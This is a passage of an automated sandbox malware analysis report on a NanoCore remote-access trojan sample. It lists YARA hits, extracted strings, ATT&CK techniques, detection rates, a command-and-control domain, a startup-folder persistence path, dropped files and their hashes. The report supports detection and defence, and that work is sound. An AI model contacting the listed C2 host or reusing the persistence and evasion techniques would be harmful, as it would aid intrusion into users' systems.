luedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
        Source: RMActivate_isv.exe.bat, 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmpString found in binary or memory: NanoCore.ClientPluginHost
        Source: RegAsm.exe, 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmpString found in binary or memory: NanoCore.ClientPluginHost
        Source: RegAsm.exe, 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmpString found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
        Yara detected Nanocore RATShow sources
        Source: Yara matchFile source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b74629.7.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40d2a4d.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.4252a4d.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTR
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_0556247A bind,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05562428 bind,

        Mitre Att&ck Matrix

        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Valid AccountsNative API1Startup Items1Startup Items1Disable or Modify Tools1Input Capture31System Time Discovery1Remote ServicesArchive Collected Data11Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
        Default AccountsScheduled Task/JobDLL Side-Loading1DLL Side-Loading1Deobfuscate/Decode Files or Information1LSASS MemoryAccount Discovery1Remote Desktop ProtocolInput Capture31Exfiltration Over BluetoothRemote Access Software1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
        Domain AccountsAt (Linux)Registry Run Keys / Startup Folder2Access Token Manipulation1Obfuscated Files or Information1Security Account ManagerFile and Directory Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
        Local AccountsAt (Windows)Logon Script (Mac)Process Injection212Software Packing21NTDSSystem Information Discovery14Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol11SIM Card SwapCarrier Billing Fraud
        Cloud AccountsCronNetwork Logon ScriptRegistry Run Keys / Startup Folder2DLL Side-Loading1LSA SecretsSecurity Software Discovery21SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
        Replication Through Removable MediaLaunchdRc.commonRc.commonMasquerading11Cached Domain CredentialsVirtualization/Sandbox Evasion31VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
        External Remote ServicesScheduled TaskStartup ItemsStartup ItemsVirtualization/Sandbox Evasion31DCSyncProcess Discovery3Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
        Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobAccess Token Manipulation1Proc FilesystemApplication Window Discovery11Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
        Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Process Injection212/etc/passwd and /etc/shadowSystem Owner/User Discovery1Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
        Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Hidden Files and Directories1Network SniffingProcess DiscoveryTaint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.

        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        wIQLBHYbqz.exe69%VirustotalBrowse
        wIQLBHYbqz.exe63%MetadefenderBrowse
        wIQLBHYbqz.exe80%ReversingLabsWin32.Trojan.Skeeyah
        wIQLBHYbqz.exe100%AviraHEUR/AGEN.1100005

        Dropped Files

        SourceDetectionScannerLabelLink
        C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat100%AviraHEUR/AGEN.1100005

        Unpacked PE Files

        SourceDetectionScannerLabelLinkDownload
        0.2.wIQLBHYbqz.exe.400000.0.unpack100%AviraHEUR/AGEN.1100005Download File
        22.2.RegAsm.exe.400000.0.unpack100%AviraTR/Dropper.MSIL.Gen7Download File
        13.2.RegAsm.exe.400000.0.unpack100%AviraTR/Dropper.MSIL.Gen7Download File
        13.2.RegAsm.exe.5b70000.6.unpack100%AviraTR/NanoCore.fadteDownload File
        14.0.RMActivate_isv.exe.bat.400000.0.unpack100%AviraHEUR/AGEN.1100005Download File
        14.2.RMActivate_isv.exe.bat.16e0000.1.unpack100%AviraTR/Dropper.MSIL.Gen7Download File
        0.2.wIQLBHYbqz.exe.14a0000.1.unpack100%AviraTR/Dropper.MSIL.Gen7Download File
        0.0.wIQLBHYbqz.exe.400000.0.unpack100%AviraHEUR/AGEN.1100005Download File
        14.2.RMActivate_isv.exe.bat.400000.0.unpack100%AviraHEUR/AGEN.1100005Download File

        Domains

        SourceDetectionScannerLabelLink
        megida.hopto.org12%VirustotalBrowse

        URLs

        SourceDetectionScannerLabelLink
        0%Avira URL Cloudsafe
        megida.hopto.org0%Avira URL Cloudsafe
        http://checkip.dyndns.orglTime0%Avira URL Cloudsafe
        https://api.ipify.orgDi0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        megida.hopto.org
        0.0.0.0
        truetrueunknown

        Contacted URLs

        NameMaliciousAntivirus DetectionReputation
        true
        • Avira URL Cloud: safe
        low
        megida.hopto.orgtrue
        • Avira URL Cloud: safe
        unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://checkip.dyndns.orglTimewIQLBHYbqz.exe, 00000000.00000002.614810428.0000000000FFB000.00000004.00000001.sdmpfalse
        • Avira URL Cloud: safe
        unknown
        https://api.ipify.orgRMActivate_isv.exe.bat, 0000000E.00000002.615594870.0000000003129000.00000004.00000001.sdmpfalse
          high
          http://bot.whatismyipaddress.comwIQLBHYbqz.exe, 00000000.00000002.616258371.00000000030B4000.00000004.00000001.sdmpfalse
            high
            https://api.ipify.orgDiwIQLBHYbqz.exe, 00000000.00000002.616316017.00000000030D3000.00000004.00000001.sdmpfalse
            • Avira URL Cloud: safe
            unknown
            http://www.myexternalip.com/rawwIQLBHYbqz.exe, 00000000.00000002.614810428.0000000000FFB000.00000004.00000001.sdmpfalse
              high

              Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public

              IPDomainCountryFlagASNASN NameMalicious

              Private

              IP
              192.168.2.1

              General Information

              Joe Sandbox Version:33.0.0 White Diamond
              Analysis ID:483799
              Start date:15.09.2021
              Start time:13:55:05
              Joe Sandbox Product:CloudBasic
              Overall analysis duration:0h 8m 39s
              Hypervisor based Inspection enabled:false
              Report type:light
              Sample file name:wIQLBHYbqz (renamed file extension from none to exe)
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
              Number of analysed new started processes analysed:23
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • HCA enabled
              • EGA enabled
              • HDC enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Detection:MAL
              Classification:mal100.troj.evad.winEXE@6/3@18/1
              EGA Information:Failed
              HDC Information:
              • Successful, ratio: 0.5% (good quality ratio 0.5%)
              • Quality average: 82.7%
              • Quality standard deviation: 10.4%
              HCA Information:Failed
              Cookbook Comments:
              • Adjust boot time
              • Enable AMSI
              Warnings:
              Show All
              • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
              • Excluded IPs from analysis (whitelisted): 20.50.102.62, 40.91.76.224, 92.122.145.220, 20.82.209.183, 23.55.161.150, 23.55.161.132, 23.55.161.142, 23.55.161.148, 23.55.161.149, 23.55.161.163, 23.55.161.157, 23.55.161.170, 20.54.110.249, 40.112.88.60, 23.216.77.209, 23.216.77.208, 23.35.236.56, 23.203.67.116, 20.82.210.154
              • Excluded domains from analysis (whitelisted): store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dspw65.akamai.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, validation-v2.sls.microsoft.com, cdn.onenote.net.edgekey.net, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, validation-v2.sls.trafficmanager.net, prod.fs.microsoft.com.akadns.net, cdn.onenote.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, e1553.dspg.akamaiedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
              • Not all processes where analyzed, report is missing behavior information
              • Report size getting too big, too many NtOpenKeyEx calls found.
              • Report size getting too big, too many NtQueryValueKey calls found.

              Simulations

              Behavior and APIs

              TimeTypeDescription
              13:56:55AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sdchange.lnk
              13:57:02API Interceptor484x Sleep call for process: RegAsm.exe modified

              Joe Sandbox View / Context

              IPs

              No context

              Domains

              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
              megida.hopto.orgvCVJO4xhuE.exeGet hashmaliciousBrowse
              • 0.0.0.0
              SutRc8iT50.exeGet hashmaliciousBrowse
              • 0.0.0.0
              BycT2K3tqw.exeGet hashmaliciousBrowse
              • 0.0.0.0
              NaeJDbDEhv.exeGet hashmaliciousBrowse
              • 0.0.0.0
              mKwRy5zlC1.exeGet hashmaliciousBrowse
              • 0.0.0.0
              0b4KVMtyt2.exeGet hashmaliciousBrowse
              • 0.0.0.0
              rMXtWZE8zC.exeGet hashmaliciousBrowse
              • 0.0.0.0
              zKFX17X1HV.exeGet hashmaliciousBrowse
              • 0.0.0.0
              iIfKHwYD3f.exeGet hashmaliciousBrowse
              • 0.0.0.0
              8T2c71SMRc.exeGet hashmaliciousBrowse
              • 0.0.0.0
              cdu4RCsVw5.exeGet hashmaliciousBrowse
              • 0.0.0.0
              kIRbC6ZYIH.exeGet hashmaliciousBrowse
              • 0.0.0.0
              2gYXJQigWS.exeGet hashmaliciousBrowse
              • 0.0.0.0
              FsYqgk2CFi.exeGet hashmaliciousBrowse
              • 0.0.0.0
              w6OD0DrYr3.exeGet hashmaliciousBrowse
              • 0.0.0.0
              TUtq51OHzM.exeGet hashmaliciousBrowse
              • 0.0.0.0
              9DHL Package Delay Notification 20190614,pdf.exeGet hashmaliciousBrowse
              • 194.5.98.25
              15Orascom Construction Limited Important Inquiry Document,pdf.exeGet hashmaliciousBrowse
              • 194.5.98.25
              30Orascom Construction Company Limited Inquiry document,pdf.exeGet hashmaliciousBrowse
              • 194.5.98.25
              18CY.exeGet hashmaliciousBrowse
              • 213.208.129.198

              ASN

              No context

              JA3 Fingerprints

              No context

              Dropped Files

              No context

              Created / dropped Files

              C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat
              Process:C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
              File Type:Non-ISO extended-ASCII text, with no line terminators
              Category:dropped
              Size (bytes):8
              Entropy (8bit):3.0
              Encrypted:false
              SSDEEP:3:R7S8n:88
              MD5:5DDEC758B77D5B693053413AE49F06FA
              SHA1:102007D870F22E257D4B105971895F5FBA9303FD
              SHA-256:DFF20B05FF3AC595B9698967ED4E7862E19D377412984E30315660C021F11AD6
              SHA-512:50F0DD6357188F1E3406CD9374FF18FB92B4BBDAD37D7DDB9F759DAD639B2C4B7CCB4727C6414D953E51F11D5B89D323E9A025335E203C92AB8E21E495F26C10
              Malicious:true
              Reputation:low
              Preview: .*^.x.H
              C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat
              Process:C:\Users\user\Desktop\wIQLBHYbqz.exe
              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):1253984
              Entropy (8bit):7.161677576535402
              Encrypted:false
              SSDEEP:24576:9AHnh+eWsN3skA4RV1Hom2KXMmHaFZyrh9QI/C+EZCBqUIYXmf8MuvWzy:ch+ZkldoPK8YaFZyri7QPIYXLMK
              MD5:F9F1A2B23DF822033EC717757776CBB7
              SHA1:FFEFDCF1616F9A38EEC5EA269B911A070F0FCB06
              SHA-256:E6973E79CEC34C9DA0B10B28C95C28B5BF3F112216042E472CF40B6AF671E257
              SHA-512:99036EEF75098DF9247005DEF6D3F8646AEE382247E8E9558118F31167E4248F8B3EFB79343D09F431FC0672A227974E0DFFEAE92D7D4A23DA0B22AA4E3FB061
              Malicious:true
              Antivirus:
              • Antivirus: Avira, Detection: 100%
              Reputation:low
              Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r...........#.S..._@'.S...R.k.S....".S...RichR...................PE..L......\.........."..........<....................@.......................................@...@.......@.........................|........x......................4q...+..............................PK..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc....x.......z...4..............@..@.reloc..4q.......r..................@..B........................................................................................................................................................................................................................................................................................
              C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sdchange.lnk
              Process:C:\Users\user\Desktop\wIQLBHYbqz.exe
              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 15 19:56:51 2021, mtime=Wed Sep 15 19:56:51 2021, atime=Wed Sep 15 19:56:51 2021, length=1253984, window=hide
              Category:dropped
              Size (bytes):934
              Entropy (8bit):5.0399705120768425
              Encrypted:false
              SSDEEP:24:8o7bAJazTcb0domePeCVrKvHUeR/huyAH9i6/hAJ1m:8o7bAczQYd9ZCVkHvZsoqeJ1
              MD5:3A151859BF071B8B0A25E8778115EF19
              SHA1:7D6865050E2726091F4FC126267102BF8DCFB0B0
              SHA-256:D32FDF5749E8390DBD04933D2C8B118E3F312101D76ABCFDDA8D13F6D61F4ACF
              SHA-512:03D040B42E8E78E2B70AE1164051F9467FCF9A4E5BFAD0001CF4C70C8EBDFB648B15061D77460B98A3B3DD724AE2D7A7AC62E1FA545C9857165E66F8129FE46F
              Malicious:false
              Reputation:low
              Preview: L..................F.... ....g.4t......4t......4t...`"........................:..DG..Yr?.D..U..k0.&...&........d.!-..Yc6%>.....5t.......t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N../S.......Y.....................t..A.p.p.D.a.t.a...B.V.1......N....Roaming.@.......N../S.......Y....................D...R.o.a.m.i.n.g.....V.1...../S....Gfxv2_0.@....../S../S......$H....................x.}.G.f.x.v.2._.0.....z.2.`"../S.. .RMACTI~1.BAT..^....../S../S......%H.....................Qt.R.M.A.c.t.i.v.a.t.e._.i.s.v...e.x.e...b.a.t.......o...............-.......n..............{.....C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat..-.....\.....\.....\.....\.....\.G.f.x.v.2._.0.\.R.M.A.c.t.i.v.a.t.e._.i.s.v...e.x.e...b.a.t.`.......X.......580913...........!a..%.H.VZAj..."...1........-$..!a..%.H.VZAj..."...1........-$.E.......9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

              Static File Info

              General

              File type:PE32 executable (GUI) Intel 80386, for MS Windows
              Entropy (8bit):7.1616750530451565
              TrID:
              • Win32 Executable (generic) a (10002005/4) 99.96%
              • Generic Win/DOS Executable (2004/3) 0.02%
              • DOS Executable Generic (2002/1) 0.02%
              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
              File name:wIQLBHYbqz.exe
              File size:1253976
              MD5:1312d6ff22dbd8e9e05d1b0d9130439d
              SHA1:913051c8f41e722c522e637bdbdfa563ecfba4ff
              SHA256:543694f8b09a565a88932457d40d16cd85ac3f0b7be9ad322ef9486144379449
              SHA512:d16116efbbec351430dead1cc3c1a9029cb9781075bc7951ec2811c1b18962f3218cc1c308fe6bc7bc0dbdb3366a53926bef1f3bfdf78c236192e9af2890d740
              SSDEEP:24576:9AHnh+eWsN3skA4RV1Hom2KXMmHaFZyrh9QI/C+EZCBqUIYXmf8MuvWzr:ch+ZkldoPK8YaFZyri7QPIYXLMD
              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

              File Icon

              Icon Hash:74e8cad0ccd4c4c4

              Static PE Info

              General

              Entrypoint:0x42800a
              Entrypoint Section:.text
              Digitally signed:false
              Imagebase:0x400000
              Subsystem:windows gui
              Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
              DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE
              Time Stamp:0x5CF61010 [Tue Jun 4 06:30:40 2019 UTC]
              TLS Callbacks:
              CLR (.Net) Version:
              OS Version Major:5
              OS Version Minor:1
              File Version Major:5
              File Version Minor:1
              Subsystem Version Major:5
              Subsystem Version Minor:1
              Import Hash:afcdf79be1557326c854b6e20cb900a7

              Entrypoint Preview

              Instruction
              call 00007F702095261Dh
              jmp 00007F70209453D4h
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              int3
              push edi
              push esi
